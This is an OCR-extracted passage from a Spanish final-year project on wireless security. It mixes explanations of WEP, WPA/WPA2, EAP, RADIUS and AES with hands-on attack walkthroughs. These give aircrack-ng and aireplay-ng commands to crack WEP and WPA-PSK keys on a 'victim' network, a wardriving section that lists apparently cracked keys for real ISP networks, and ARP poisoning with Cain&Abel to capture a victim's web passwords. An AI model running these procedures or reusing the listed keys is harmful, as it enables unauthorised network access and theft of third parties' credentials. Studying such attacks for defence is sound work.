(ICV)

llustracién 22. Algoritmo WEP (Wired Equivalent Privacy)
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Ventajas Protocolo WEP
Ninguna
Inconvenientes Protocolo WEP

Observamos que las claves de usuario son estaticas, por lo que todos los usuarios
utilizan la misma clave. Esto provoca que las claves no se cambien asiduamente
durante semanas, meses o afios, permitiendo asi la adquisiciéon de la misma. Por otra
parte el hecho de que el IV se transmita sin cifrar y de que se pueda repetir cada cierto
tiempo, ademas de que el algoritmo que genera este vector presenta ciertos
caracteres de predictibilidad, hace que sea un sistema perfecto para romper por la
fuerza bruta. Algunos de los tipos de ataques son:

e Ataques pasivos basados en el analisis de paquetes para intentar descifrar el trafico.
¢ Ataques activos basados en la introduccién de paquetes.

e Ataques activos basados en el ataque/engafio al punto de acceso.

¢ Ataques de diccionario.

El ISAAC (Internet Security, Applications, Authentication and Cryptography) hizo un
estudio minucioso acerca de los problemas y debilidades de WEP llegando a las
siguientes conclusiones generales:

¢ El manejo de las claves es un constante generador de problemas. Para empezar el
hecho de tener que distribuir la misma clave a todos los usuarios implica que este
proceso se tiene que realizar un mismo dia en un momento determinado, teniéndose
que cambiar de nuevo si un usuario abandona la empresa o lugar en donde se utilice la
red WEP. Las claves que se distribuyen por todo el sistema y que se guardan con
esmero tienden a ser publicas con el tiempo. Los ataques de Sniffing se basan sélo en
obtener la clave WEP que es cambiada infrecuentemente.

¢ Una longitud de claves de 64 o 128 bits no es hoy en dia suficiente para garantizar un
buen nivel de seguridad.

e Los algoritmos de cifrado son vulnerables al analisis si se utilizan frecuentemente los
mismos keystreams. Dos frames que usan el mismo IV usaran casi con toda
probabilidad la misma key y por tanto el mismo keystream.

* El cambio infrecuente de las claves permite a los atacantes usar las técnicas de
ataque por diccionario.

e WEP utiliza CRC para garantizar la integridad de los frames enviados. Aunque el CRC
es cifrado por el algoritmo de RC4, los CRC no son seguros.
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Variantes Protocolo WEP

Existen algunas variantes que basicamente se basan en intentar mejorar el 1V, por
ejemplo aumentandolo en tamafio. Asi tenemos:

WEP2: es igual al anterior cuyas Unicas diferencias consisten en un mayor tamafo del
IV y una proteccién de cifrado de 128 bits.

WEP+: Lo desarrolld la empresa Lucent Technologies que se asienta en la eliminacion
de los IV “débiles”. Para ser efectivo debe de utilizarse tanto en el emisor como en el
receptor. Dado que es una tecnologia propietaria no existen muchos fabricantes que lo
integren y por tanto no presenta una gran disponibilidad.

Caso Practico Crackear WEP

Para este apartado existen diferentes versiones de Linux en las que vienen precargadas
las herramientas necesarias para realizar estos métodos, tales como WIFIWAY,
WIFISLAX, o BACKTRACK. En este caso en concreto utilizaremos la distribucidn de Linux
WIFISLAX y la tarjeta de red inaldmbrica Alfa Network AWUSO36h.

Comenzaremos abriendo una consola y escribiendo lo siguiente
iwconfig
En este apartado aparecerdn las tarjetas de red que tiene el equipo instaladas, deberas

seleccionar la tarjeta que quieres utilizar, en nuestro caso es la wlan0. Para utilizarla en
modo monitor deberemos teclear lo siguiente:

airmon-ng start wlan0 6
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Con este comando se inicia el modo monitor en el canal 6, si deseas utilizar otro canal
para detectar otras redes puedes sustituir el 6 por cualquier otro numero.

] Shell - Konsole =Eax

Session Edit View Bookmarks Settings Help

llustracion 23. airodump-ng -w nombrearchivodondeseguardaranlosdatos -c6 wlan0

Una vez activada a la tarjeta en modo monitor comenzaremos a detectar las redes
correspondientes al canal 6 en nuestro caso.

airodump-ng -w nombrearchivodondeseguardaranlosdatos -c6 wlan0

Escoges alguna red con cifrado WEP, abres una nueva consola y escribes lo siguiente:

aireplay-ng -1 30 -e ESSID -a MACVIC -h MACMIA wlan0

ESSID - Aqui va el ESSID de tu victima
MACYV - Aqui va la direccion MAC de tu victima

MACMIA - Aqui debes introducir la direccion MAC de tu wlan.
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Una vez realizado esto se realizara la asociacion con el punto de acceso de la victima.
o Shell - Konsole <2> -0 x

Session Edit View Bookmarks Settings Help

llustracién 24. aireplay-ng -1 30 -e ESSID -a MACVIC -h MACMIA wlan0

Continuaremos con la inyeccion de paquetes para ello utilizaremos el siguiente
comando:

aireplay-ng -3 -x600 -b MACV -h MACMIA wlan0

A partir de este comando comenzaran a ser enviados los paquetes.

Session Edit View Bookmarks Settings Help

llustracién 25. aireplay-ng -3 -x600 -b MACV -h MACMIA wlan0
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Una vez obtenidos unos 100,000 paquetes enviados se procedera a obtener la clave:

Para ello utilizaremos el siguiente comando:

aircrack-ptw nombrearchivodondeseguardaranlosdatos -01.cap

ol Shell - Konsole <3>

Session Edit View Bookmarks Settings Help

llustracidn 26. aircrack-ptw nombrearchivodondeseguardaranlosdatos -01.cap

Una vez tecleado el anterior comando y si tenemos suficientes IVs, obtendremos la
clave WEP.

Una vez visto esto nos queda claro que el método de cifrado WEP es inseguro, y
aunque aumentemos el tamafio de las claves de cifrado sélo aumenta el tiempo
necesario para romperlo.

Por otro lado podemos utilizar mecanismos para incrementar la seguridad de este con
Control de direcciones MAC permitidas, Protocolos de autenticacién en niveles
superiores. Adaptar la intensidad de sefial en los AP a las necesidades, etc. Pero sigue
siendo insuficiente.

Seran necesarias otras alternativas de cifrado tales como (WPA, WPA2).
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WPA o "Acceso Protegido Wi-Fi", es un sistema de cifrado que se utiliza para proteger
las redes inalambricas, este se cred para corregir las deficiencias del sistema WEP.

El WPA se desarrolld6 como un medio de seguridad intermedio entre el sistema de
cifrado WEP y el 802.11i, ya que este ultimo aun no estaba terminado cuando se
implementd el WPA.

Una vez finalizado el IEEE 802.11i, aparecio el WPA2 (es casi lo mismo que WPA, solo
gue el WPA2 fue el estandar que aprobo la IEEE y el WPA fue determinado por la Wi-FI
Alliance).

En cuanto al WPA, estd pensado para que los usuarios se autentiquen mediante
servidor (almacenaje de credenciales y contrasefias) de tipo RADIUS (Remote
Authentication Dial-In User Server), enfocado para empresas. Por otro lado WPA va a
permitir a usuarios “normales” la utilizacién del mismo, esto se conseguira con la
autenticacion por medio de clave compartida ("Pre-Shared Key" o PSK).

El WPA utiliza el protocolo TKIP (Temporal Key Integrity Protocol) y mecanismo 802.1X.
La mezcla de estos dos sistemas proporciona un cifrado dinamico y un proceso de
autenticacion mutuo.

Privacidad e integridad con TKIP

Este protocolo se ha elegido para sustituir al sistema de cifrado WEP y asi suplir sus
carencias. TKIP utiliza el algoritmo RC4 proporcionado por RSA Security para cifrary la
utilizacion del CRC encargado de la transmision. Este utiliza una clave de 128 bits de
tipo dindmica; lo que producird el cambio por paquete, sesidén y usuario. El vector de
inicializacion de 48 bits en lugar de los 104 bits de clave vy 24 bits del vector de
inicializacién, recortando la reutilizacidn de claves. Ademas se han afiadido claves para
trafico de difusion y multidifusion.
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a

llustracién 27. Privacidad e integridad con TKIP segtin CISCO

Autenticacion mediante 802.1X/EAP

El objetivo del estandar 802.11x es encapsular los protocolos de autenticacién sobre
los protocolos de la capa de enlace de datos (MAC) y permitir utilizar el protocolo
(EAP) para autenticar al usuario de diferentes maneras.

El estandar IEEE 802.11x define 3 entidades:

* El usuario que pide la solicitud o solicitante (supplicant), habita en la estacidn
inalambrica.

e El usuario autenticado (authenticador), habita en el punto de acceso -

e Por ultimo el servidor de autenticacién, habita en un servidor RADIUS del tipo
(Authentication, Authorization, and Accounting).

Este estandar se ajusta en la denegacidén de trafico hasta que el cliente no ha sido
autenticado de forma correcta. Se van a definir dos caminos, uno autorizado y otro no
autorizado. El autorizado se mantendra cerrado hasta que el servidor le comunice que
este tiene acceso.

EAP tiene los siguientes métodos de autenticacion: EAP-TLS, EAP.TTLS y PEAP. Estos se
basan en el método de Infraestructura publica (PKI) para autenticar al usuario y al
servidor utilizando certificados digitales. Necesitaremos por tanto una Autoridad de
Certificados, ya sea publica o privada.
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Para ello se emplea la existencia de una Autoridad de Certificados (CA), sea
empresarial o publica.

2 Servidor de

Usuario Autenticado .
autenticacion

RADIUS

Solicitante

Internet

llustracion 28. 802.1X/EAP

EAP-TLS (Extensible Authentication Protocol — Transport Layer Security)

Se basa en el intercambio de certificados digitales entre cliente y servidor de
autenticacion. El proceso se inicia con el envio por parte del cliente de su identificacion
(ID) al servidor de autenticacion, una vez el servidor ha recibido la peticidn, este envia
su certificado al cliente, que una vez validado este responderd con el suyo.

Si el certificado enviado por el cliente o solicitante es validado, el servidor de
autenticacion responderd con el nombre de usuario y empezara la creacion de la clave
de cifrado, para su posterior envio al punto de acceso y establecer una comunicaciéon
segura.
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llustracion 29. EAP -TLS

PEAP y EAP-TLS

El protocolo de autenticacidn extensible protegido o (PEAP) maneja seguridad de nivel
de transporte o (TLS) con lo que consigue un canal cifrado entre el cliente de
autenticacion PEAR y un usuario autenticado PEAP, como equipo inaldmbrico y servicio
de autenticacién de internet.

PEAP nos proporciona seguridad para otros protocolos de autenticacién EAP, no se
permite en clientes de red privada virtual VPN, ni en clientes de acceso remoto.

En PEAP se distinguen dos mecanismos segun su utilizacidon: EAP-MS-CHAPv2 o EAP-
TLS.
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EAP-MS-CHAPv2 emplea credenciales para la autenticacién de wusuarios, y un
certificado del almacén de certificados. Estos certificados de clave publica
proporcionan un método de autenticacion mds seguro que los que utilizan
credenciales basadas con contrasefia.

Red Accesible a traves

del servidor de acceso

O

odem Envio de EAP a traves
de PPP

EAP PEER

\J
O Envio de varios EAP a
Modem travers de RADIUS

Red de acceso al

) ¥
servidor de
autenticacion
~ g
EAP Servidor
RADIUS

llustracion 30. EAP-MS-CHAPv2

EAP-TLS emplea certificados para la autenticacién de servidores y certificados o
tarjetas inteligentes para la autenticacidén de usuarios y equipos clientes. Para corregir
el que los clientes y los servidores de autenticacion tuviesen certificados digitales se
cred6 PEAP (Protected EAP) y EAP-TTLS que uUnicamente requieren certificados de
servicio. Con esto se consiguié que empleando el certificado de servicio ya validado, el
cliente envie sus datos de autenticacién cifrado a nivel seguro.
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WPA-PSK

Para WPA-PSK podemos tener claves de hasta 256 bits, lo que nos proporciona gran
seguridad, por otro lado no debemos elegir claves faciles, sencillas o cortas, ya que si
caemos en esto nuestra red puede ser vulnerable, esto es con ataques mediante
diccionario o fuerza bruta. Este método es recomendable utilizarlo para redes
domeésticas u oficinas de un tamafio reducido.

WPA-RADIUS

Utilizaremos este cifrado para redes empresariales o algo mas serias que las redes
domeésticas o a pequeiia escala. RADIUS (Remote Authentication Dial-In User Service)
se utiliza frecuentemente para proporcionar servicios de autorizacidén, autenticacion y
auditoria.

RADIUS almacena todas las credenciales de todos los usuarios que acceden a la red,
con esto podremos limitar y restringir el acceso.

Los servidores RADIUS tienen tres fases:

* Fase de autenticacidn: El usuario que se identifique serd verificado en la base
de datos y se comprobard su nombre y contrasefia. Una vez comprobado vy
verificado esto se procedera a la autorizacién del mismo.

* Fase de autorizacion: En esta fase se determinard si un usuario determinado
tiene acceso o no a un recurso en concreto. Esto se consigue mediante la
asignacion de direcciones IPs.

* Fase de auditoria: En esta fase se tiene informacion sobre el uso de los
recursos para su posterior andlisis de tendencias, la auditoria, el cobro de
tiempo de las sesiones o la asignacidn de costos.

idor de
enticacion

llustraciéon 31. WPA RADIUS

Proyecto Fin de Carrera: Diego Pagina 48 de 128
Escobar Arevalillo




SEGURIDAD Y CONTROL EN COMUNICACIONES
INALAMBRICAS

Ventajas Protocolo WPA:
¢ Busca enmendar los problemas del cifrado WEP.

e Establece nuevos protocolos para cambiar clave compartida entre AP y cliente cada
cierto tiempo.

¢ Permite trabajar en dos modalidades a nivel de usuario y a nivel de empresa
Inconvenientes Protocolo WPA:

e Algunas tarjetas de red inalambrica no son compatibles con este estandar, tales
como las de algunas tablets o Smartphones antiguos.

¢ Su manejo aun no es altamente conocido.
¢ WPA se considera una solucién provisional y no cumple la norma IEEE 802.11.i.
Caso Practico Crackear WPA-PSK

Para este apartado existen diferentes versiones de Linux en las que vienen precargadas
las herramientas necesarias para realizar estos métodos, tales como WIFIWAY,
WIFISLAX, o BACKTRACK, como habiamos hablado en el apartado anterior WEP. En
este otro caso utilizaremos otra versidn, en concreto utilizaremos la distribucion de
Linux WIFIWAY, es muy similar a WIFISLAX y la tarjeta de red inalambrica la misma que
para el apartado de WEP, la Alfa Network AWUS036h.

Comenzaremos abriendo una consola y escribiendo lo siguiente

iwconfig

En este apartado apareceran las tarjetas de red que tiene el equipo instaladas, deberas
seleccionar la tarjeta que quieres utilizar, en nuestro caso es la wlan0. Para utilizarla en
modo monitor deberemos teclear lo siguiente:

airmon-ng start wlan0
Con este comando se inicia el modo monitor.

Una vez activada a la tarjeta en modo monitor comenzaremos a detectar las redes.
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airodump-ng -w nombrearchivodondeseguardaranlosdatos wlan0

7 Yerminal - Konsole

Sesiir Edtar Vala Mucadores Preferencias Ayuda

-, & Terminal

llustracién 32. airodump-ng -w nombrearchivodondeseguardaranlosdatos wlan0

Seleccionamos la red con cifrado WPA nos guardamos la MAC del AP y la MAC del
cliente y tecleamos lo siguiente:

airodump-ng --BSSID MACV -c6 -w nombreficherohandshake wlan0

BSSID — Aqui va el BSSID de tu victima
MACV - Aqui va la direccion MAC de tu victima
Nombreficherohandshake- Aqui va el nombre con el que quieres guardar el archivo

Una vez realizado esto se realizara la asociacion con el punto de acceso de la victima.

A continuacion necesitaremos conseguir un handshake, para ello necesitaremos
realizar un ataque AO por desautenticacion al cliente conectado al AP y cuando se
vuelva a conectar nos dara el handshake.
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Handsake se traduce como apretdn de manos y serd necesario para obtener la clave
wifi.

Para lanzar el ataque utilizaremos la siguiente instruccion.
aireplay-ng -0 20 -a BSSID -c MAC_V wlan0

BSSID — Aqui va el BSSID de tu victima
MACYV - Aqui va la direccion MAC de tu victima

Nombreficherohandshake- Aqui va el nombre con el que quieres guardar el archivo

. Terminal - Konsole <2>

Sesibn Editar Vista Marcadores Preferencias Ayuda

jake

& Terminal

>

llustracién 33. aireplay-ng -0 20 -a BSSID -c MAC_V wlan0

Una vez obtenido el handshake, comprobaremos su integridad, para ello utilizaremos
los siguientes comandos:
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aircrack-ng /root/swireless/ nombreficherohandshake.cap

Nombreficherohandshake- Aqui va el nombre con el que quieres guardar el archivo.

" Terminal - Konsole <3>
Sesion Editar Vista Marcadores Preferencias Ayuda

& Terminal

<

llustracidn 34. aircrack-ng /root/swireless/ nombreficherohandshake.cap

Una vez que verificado que tenemos un handshake, lanzaremos el aircrack con un
diccionario elaborado con contrasefas por defecto de diferentes router, asi como con
contrasefias comunes y especificas dependiendo de la victima a atacar, para ello
lanzaremos el siguiente comando:

aircrack-ng/root/swireless/nombreficherohandsake.cap -w
root/swireless/wordlist/nombredeldiccionario.txt

Nombreficherohandshake- Aqui va el nombre del fichero donde esta el handsake.

Nombredeldiccionario- Aqui va el nombre del diccionario que queremos utilizar.
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Si todo ha ido correctamente tras un periodo de tiempo obtendremos la contrasefia.

VC“ Terminal - Konsole <3>

Sesion Editar Vista Marcadores Preferencias Ayuda

iU

Current passphrase: ######@

KEY FOUND! [ HEHHER@ ]
A 31 BE 55 54 6A 4F 7D 2D 71 32 71 49 EO 56 B8

2£ /1

w

65 30

p =3

{
0 >~ ™M

n
(o)

Nl

w

b =3
»
)
(o

| & Terminal

llustracién 35. aircrack-ng/root/swireless/nombreficherohandsake.cap -w
root/swireless/wordlist/nombredeldiccionario.txt
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WPA2 es la implementacién aprobada por Wi-Fi Alliance de estandar 802.11i y es
compatible con WPA. WPA2 utiliza el algoritmo AES (Sistema Avanzado de Cifrado).
WPA2 Personal protege de acceso no autorizado a la red utilizando una contrasefia
estable y WPA2 Enterprise verifica a los usuarios de la red a través de un servidor.

El Sistema Avanzado de Cifrado de clave temporal de 128 bits y un vector de
inicializacion de 48 bits en el proceso de cifrado. Los métodos de autenticacidon
utilizados por el 802.11i utilizan el estandar IEEE 802.11x y el protocolo TKIP.

AES

Es un esquema de cifrado por bloques adoptado como un estandar de cifrado por
el gobierno de los Estados Unidos. El AES fue anunciado por el Instituto Nacional de
Estandares y Tecnologia (NIST) como FIPS PUB 197 de los Estados Unidos (FIPS 197)
el 26 de noviembre de 2001 después de un proceso de estandarizacion que durd 5
afos. Se transformé en un estandar efectivo el 26 de mayo de 2002. Desde 2006, el
AES es uno de los algoritmos mas populares usados en criptografia simétrica.

El cifrado fue desarrollado por dos expertos belgas en cifrar, Joan Daemen y Vincent
Rijmen, ambos estudiantes de la Katholieke Universiteit Leuven, y enviado al proceso
de seleccidn AES bajo el nombre "Rijndael".

Estrictamente hablando, AES no es precisamente Rijndael (aunque en la practica se los
llama de manera indistinta) ya que Rijndael permite un mayor rango de tamano de
bloques y longitud de claves; AES tiene un tamafio de bloque fijo de 128 bits y tamafos
de clave de 128, 192 o 256 bits, mientras que Rijndael puede ser especificado por una
clave que sea multiplo de 32 bits, con un minimo de 128 bits y un maximo de 256 bits.

La mayoria de los cdlculos del algoritmo AES se hacen en un campo finito determinado.

AES opera en una matriz de 4x4 bytes, llamada state (algunas versiones de Rijndael
con un tamafio de bloque mayor tienen columnas adicionales en el state).

Pseudocddigo
Expansion de la clave usando el esquema de claves de Rijndael.
Etapa inicial:

¢ AddRoundKey
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Rondas:

e SubBytes — en este paso se realiza una sustitucién no lineal donde cada byte es

reemplazado con otro de acuerdo a una tabla de busqueda.

%0

al,O

2.0

a3,0

SubBytes

e ShiftRows — en este paso se realiza una transposicion donde cada fila del

'\S

>

llustracién 36. SubBytes

«state» es rotada de manera ciclica un niumero determinado de veces.

No
change

Shft 1

S

IJ

ift 2
-

S

I

ift 3
<

e MixColumns — operacién de mezclado que opera en las columnas del «statey,
combinando los cuatro bytes en cada columna usando una transformacién

lineal.

ao,o aO,l ao,z ao,s ao,o aO,l a0,2 a0,3
'hiftRow
alo a11 a12 a13 - a a12 a13 Qo
et L b
az,o a2,1 ?2,2 /az,s az,z a2,3 az,o a2,1
"\‘_}:_/'
as,o a3,1 a3,2 las,a a3,3 a3,0 a3,1 as,z

llustracidon 37. ShiftRows

2,3
a1,3
a2,3
a3 3

& c(x)

llustracién 38. MixColumns
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e AddRoundKey — cada byte del «state» es combinado con la clave «round»;
cada clave «round» se deriva de la clave de cifrado usando una iteracion de la

clave.
a0,0 aO,l a0,2 a0,3 b0,0 bO,l b0,2 b0,3
a1,0 b1,0 bl b1 2 b1,3
-
2o b,
= (ST
Koo
Ko
I 0
I 0

llustracion 39. AddRoundKey

Etapa final:
e SubBytes
e ShiftRows

e AddRoundKey
Etapa SubBytes- Substitucion de bits

En la etapa SubBytes, cada byte en la matriz es actualizado usando lacaja-S de
Rijndael de 8 bits. Esta operacion provee la no linealidad en el cifrado. La caja-
S utilizada proviene de la funcién inversa alrededor del GF (28), conocido por tener
grandes propiedades de no linealidad. Para evitar ataques basados en simples
propiedades algebraicas, la caja-S se construye por la combinacién de la funcién
inversa con una transformacién afin inversible. La caja-S también se elige para evitar
puntos estables (y es por lo tanto un derangement), y también cualesquiera puntos
estables opuestos.

La caja-S es descrita en mayor profundidad en el articulo caja-S de Rijndael.
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Etapa ShiftRows-Desplazar filas

El paso ShiftRows opera en las filas del state; rota de manera ciclica los bytes en cada
fila por un determinado offset. En AES, la primera fila queda en la misma posicidn.
Cada byte de la segunda fila es rotado una posicion a la izquierda. De manera similar,
la tercera y cuarta filas son rotadas por los offsets de dos y tres respectivamente. De
esta manera, cada columna del state resultante del paso ShiftRows estda compuesta
por bytes de cada columna del state inicial. (Variantes de Rijndael con mayor tamafio
de bloque tienen offsets distintos).

Etapa MixColumns- Mezclar columnas

En el paso MixColumns, los cuatro bytes de cada columna del state se combinan
usando una transformacion lineal inversible. La funcion MixColumns toma cuatro bytes
como entrada y devuelve cuatro bytes, donde cada byte de entrada influye todas las
salidas de cuatro bytes. Junto con ShiftRows, MixColumns implica difusién en el
cifrado. Cada columna se trata como un polinomio GF (28) y luego se multiplica el

4 . P .
médulo T + 1 con un polinomio fijo ‘(-“l ) El paso MixColumns puede verse como
una multiplicacion matricial en el campo finito de Rijndael.

Etapa AddRoundKey- Calculo de las subclaves

En el paso AddRoundKey, la subclave se combina con el state. En cada ronda se
obtiene una subclave de laclave principal, usando laiteraciéon de la clave; cada
subclave es del mismo tamafio que el state. La subclave se agrega combinando cada
byte del state con el correspondiente byte de la subclave usando XOR.

Optimizacidn del cifrado

En sistemas de 32 bits o de mayor tamafio de palabra, es posible acelerar la ejecucién
de este algoritmo mediante la conversién de las
transformaciones SubBytes, ShiftRowsy MixColumn en tablas. Se tienen cuatro tablas
de 256 entradas de 32 bits que utilizan un total de 4 kilobytes (4096 bytes) de
memoria, un Kb cada tabla. De esta manera, una ronda del algoritmo consiste en 16
busquedas en una tabla seguida de 16 operaciones XOR de 32 bits en el
paso AddRoundKey. Si el tamafio de 4 kilobytes de la tabla es demasiado grande para
una plataforma determinada, la operacion de busqueda en la tabla se puede realizar
mediante una sola tabla de 256 entradas de 32 bits mediante el uso de rotaciones
circulares.
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Ventajas Protocolo WPA2:
¢ Busca enmendar los problemas del cifrado WEP.

¢ Establece nuevos protocolos para cambiar clave compartida entre AP y cliente cada
cierto tiempo.

¢ Permite trabajar en dos modalidades a nivel de usuario y a nivel de empresa

e Ademas mejora adicionalmente dicha seguridad al utilizar AES en lugar de TKIP para
garantizar la seguridad del trafico de red.

e Cumple lanorma IEEE 802.11i
Inconvenientes Protocolo WPA2:

e Algunas tarjetas de red inaldambrica no son compatibles con este estandar, tales
como la de algunas tablets o Smartphones antiguos.

¢ Su manejo aun no es altamente conocido.
Caso Prdctico Crackear WPA2-PSK

Se aplican los puntos 3.2 WPA (Wi-Fi Protected Access) = Caso Practico Crackear
WPA-PSK
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4. Caso Practico Real: WARDRIVING en moto

En este apartado vamos a plasmar datos reales obtenidos utilizando el método de
wardriving. Este concepto se ha explicado en el punto 3 Seguridad en redes
Inalambricas: Necesidad, problemas y mecanismo de defensa, y basicamente este
método se utiliza para la busqueda de redes inaldmbricas con el objetivo de conseguir
acceso gratis a internet ya sea bien a través de redes inaldmbricas abiertas o cerradas.

Para conseguir esto en nuestro caso hemos utilizado una motocicleta marca SUZUKI
BANDIT, provista de un dispositivo que permite la carga de baterias de dispositivos, en
cuanto al hardware necesario para el mismo, hemos utilizado un portatil de la marca
SONY VAIO modelo VGN-NS20E, ratdn Logitech modelo M-UAE96 y una tarjeta de red
externa de conexién USB marca Alfa Network modelo AWUS036h de 1W de potencia.

llustracién 40. Vehiculo Wardriving caso real
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e

<< back | track =

llustracion 41. Hardware y Software Wardriving caso real

Una vez explicado lo anterior, mostraremos los datos obtenidos. Para obtener acceso a
internet en redes inaldmbricas que utilizan protocolo WEP, hemos utilizado el sistema
operativo Back Track 5 rl. Utilizando los comandos explicados en el punto 3.1 WEP
(Wired Equivalent Privacy)/ Caso Practico Crackear WEP hemos obtenido los
siguientes datos, para diferentes proveedores de acceso.

Cifrado WEP
Proveedor ONO:

ONO8493
60510020901101514121807131

Proveedor JAZZTEL:

JAZZTEL_86
E64680CB22F86
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JAZZTEL_82
E001D20682082

Proveedor Movistar:

WLAN_10
XE09153292710

WLAN_7C
C001D205A527C

WLAN_88
C001D20595B88

WLAN_98
X000138EF3F98

WLAN_AS8
Z0023F89220A8

WLAN_AF
Z0023FSA1C3AF

WLAN_BF
COO30DAEO13BF

WLAN_F2
XE091534C3DF2

WLAN_4E
X000138EF314E

WLAN_94
C001D20F38594
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En cuanto al acceso a redes inalambricas que utilizan el protocolo WPA también nos
hemos basado en el sistema operativo Back Track 5 rl y en el punto 3.2 WPA (Wi-Fi
Protected Access)/ Caso Practico Crackear WPA logrando asi lo siguiente:

Cifrado WPA
Proveedor ONO:

ONO9395
40603150305081607290614260

Proveedor JAZZTEL:

JAZZTEL_9C86
0f6abfe8030034017492

JAZZTEL_859D
ff198a6983ba3fa5b773

Proveedor Movistar:

WLAN_1D37
72514b69e45ba97d4add

WLAN_162A
3230313230393232726F79616E

WLAN_34c8
96fec4d003a8c2536625

WLAN_3F3D
b4315f977493861b0fc3

WLAN_6ES3
6d795cc01c2b5262b71

WLAN_775A
35a444d66bd8dac465e0
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WLAN_7200
81362e¢9a81ce40361216

WLAN_DAF7
40bf1795b70f88829fed

WLAN_A2F2
9bca184be83d5d46c3d2

WLAN_A3DE
65ff33f927b22a7a33el

WLAN_C48C
43740ec9f3d780d7989b

WLAN_C5DA
3b4c16932a343d830f1e

WLAN_CC35
32a0a18a70eeb1060d73

WLAN_CCED
b5cc036141fed1c89aa9

WLAN_CC29
lacef8cf7cf9f6341c2b
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Peligros derivados de una red inalambrica comprometida.

Aqui revelaremos los peligros que derivan de un usuario malintencionado que se ha
autenticado en nuestra red.

Cuando ya disfrutamos de los datos de acceso o password procederemos a
conectarnos a la red inaldmbrica. A continuacién hablaremos como obtener el nombre
de usuario y contrasefia de diferentes sitios web, ya sean HTTP o HTTPS.

HTTP

Si hablamos del Sistema operativo Windows y HTTP, hablaremos del software
Cain&Abel.

Cain&Abel (HTTP://www.oxid.it): es una herramienta que nos permite adquirir
passwords mediante el sniffing (Técnica por la cual se puede "escuchar" todo lo que circula
por una red. Esto que en principio es propio de una red interna o Intranet, también se puede
dar en la red de redes: Internet.) de la red que tratemos, lograremos asi crackear
passwords cifrados usando diccionarios, fuerza bruta y atagues mediante
criptoanalisis. También graba conversaciones VolP, recupera claves de red o claves
almacenadas en caché. Cubre aspectos de seguridad presentes en los protocolos
estandares, métodos de autentificacion y mecanismos de caché. Su principal intencion
es la de recoger passwords de diversos lugares. Esta Herramienta ha sido desarrollada
con la esperanza de que sea util a los administradores de redes, profesores,
testeadores de intrusiones en el sistema y a cualquier otro profesional de seguridad.

Abriremos el software Cain&Abel, nos dirigiremos a la pestana sniffer y pulsaremos el
botén de activacidon de envenenamiento de ARP marcado con un simbolo redondo
amarillo y negro &

Proyecto Fin de Carrera: Diego Pagina 64 de 128
Escobar Arevalillo




SEGURIDAD Y CONTROL EN COMUNICACIONES
INALAMBRICAS | 16/ ol (1o o= ookl

File View Configure Tools Help i.

H:mlm:é:ﬂ% +9 B RIMEEeO®E 07| i

@ Decoders Ig Network Iﬁ Sniffer ld Cracker Io Traceroute Im CCbu I(‘E” Wireless IEQ Query |
1P address | MAC address | QU fingerpri | Host name |B..[8. |88 [Gr [mo|m1|m3]

| = Hosts [@ APR [ Routing [§\ Passwords [ VolP |

Activate / Deactivate ARP Poison Routing 4

llustracion 42. Paso 1 Cain&Abel

Ahora pulsaremos el botén H- y seleccionaremos todo el rango de IPs y todos los
métodos de escaneo de ARPs, con esto sacaremos el nombre de la marca comercial la
MAC y la puerta de enlace del router, asi como el nombre de la marca comercial de las
tarjetas de red de los equipos que estan conectados, MAC y direccion IP local.

. ;
= Sioie
Fil.

File View Configu als  Help
Jjuiﬂ@m?‘%ﬁ%‘.u\ﬂl o
l._!?,-, Decoders Ig Network Iﬂ Sniffer I@'f Cracker |° |

1P address l MAC address I OUI fingerprint

Target B3 | Gr | MO | M| M3|

" All hosts in my subnet

Lg Hosts [@ APR [ Routing |55 Passwords [ VolP |
Lost packets: 0% 4

llustracion 43. Paso 2 Cain&Abel
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ﬁ — fel®=]|

File. View Configure Tools Help

[alelommn+v wnumEEe0en 0 0 '
"

& Decoders I g Network I* Sniffer Ié Cracker I° Traceroute IM CCbu I«K” Wireless I@} Query I

IP address | MAC address | OUIfingerpri | Host name |B..|B..[88 [Gr [mo|mi|m3]

19216811 001A28% == Ayecom Technology Co,, Ltd. »

192.168.1.33 38E7DMSE N HTC Corporation

ARP Test (Broadcast 31-bit) ... [ 43%] 3

Current Host:

192.168.1.108

[

IE Hosts I@ APR IQ’ Routing I@ Passwords I@ VolP l

Lost packets: 0%

llustracion 44. Paso 3 Cain&Abel

Una vez que ya disfrutamos de la IP de la victima procederemos al envenenamiento de
la misma, para su posterior tratamiento de la informacién y obtencién de datos.

— File View Configure Tools Help
[aweommn +v 2 yvnEEeO®s 02 i
é Decoders Ig Network Iﬂ Sniffer lﬁ Cracker IQ Traceroute IM CCbu I«K” Wireless l%) Query I

@ APR Status IP address MAC address Packets -> | <- Packets | MAC address IP address
: APR""; F-¥poisoning _[19216811 _JootAzeees s Jo Jo __[o01BASLARRS [192168133
S APR-DN!

" APR-SSH-1 (0)
L& APR-HTTPS (0)
8 APR-ProxyHTTPS (0)
% APR-RDP (0)

& APR-FTPS (0)
& APR-POP3S (0)

B ot [ | MAC address [ Packets -> | <- Packets | MAC address | IP address |
.8 APR-LDAPS (0)

- APR-SIPS (0)

« m 5 |Q Configuration / Routed Packets |

E Hosts I_Q APR I‘i’ Routing [@k Passwords I@ VoIP I

Lost packets: 0%

N\

llustracion 45. Paso 4 Cain&Abel

En la siguiente ilustracion Cain&Abel nos da los datos de usuario y contrasefia
correspondientes a la URL que nuestra victima ha introducido.
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DCE/RPC (0)
{53 MSKerbS-PreAutt—
8 Radius-Keys (0)
@ Radius-Users (0)
“ 1CQ (0)

6% IKE-PSK (0)

B MvSOL (0) >

|
E EEIEE]
File View Configure Tools Help
[awohmn |+v Ry nEBEeO®2 02 i
& Decoders Ig Network Iﬂ Sniffer Iﬂ Cracker I° Traceroute IM CCbu I(‘Z" Wireless I@) Query I
'C?\ Passwords = | HTTP server I Client | U: | Password | URL L
@ FTP (0) 173194 & 192168133 v 6 http://www.gesgin sl it s st geageline...  ic
£9 HTTP (10) 173194 % % 192168133 q 5 http://www g g ot st geagelise... i
E IMAP (0) 173194 % % 192168133 I 4 http://wiwwe e sn waiivg it s i geagialine... i
LDAP (0) 173194 % % 192.1681.33 g 3 http://wiww g s sl imts . st geagieiiee... i
(p POP3 (0) 173194 % % 192168133 f 3 http://www. g sy lastems sl googelino... i
_sip SMB (0) 173194 = % 192.168.1.33 1g 10 http://wivwe g s g et st geegieiiso... i
319484 192168133 1b 9 3 it
B Telnet (0) = 1o .. 8860 W resws regws http://www.redc g/administrad ic
~{Rg VNC (0) 1750940 0 192168133 10 7 HEtp://WWw.gOOGIE A g |t e b s ¢
& T0s @ 173194 % 884 4w 5 1 L A A ———————
& TNS (0)
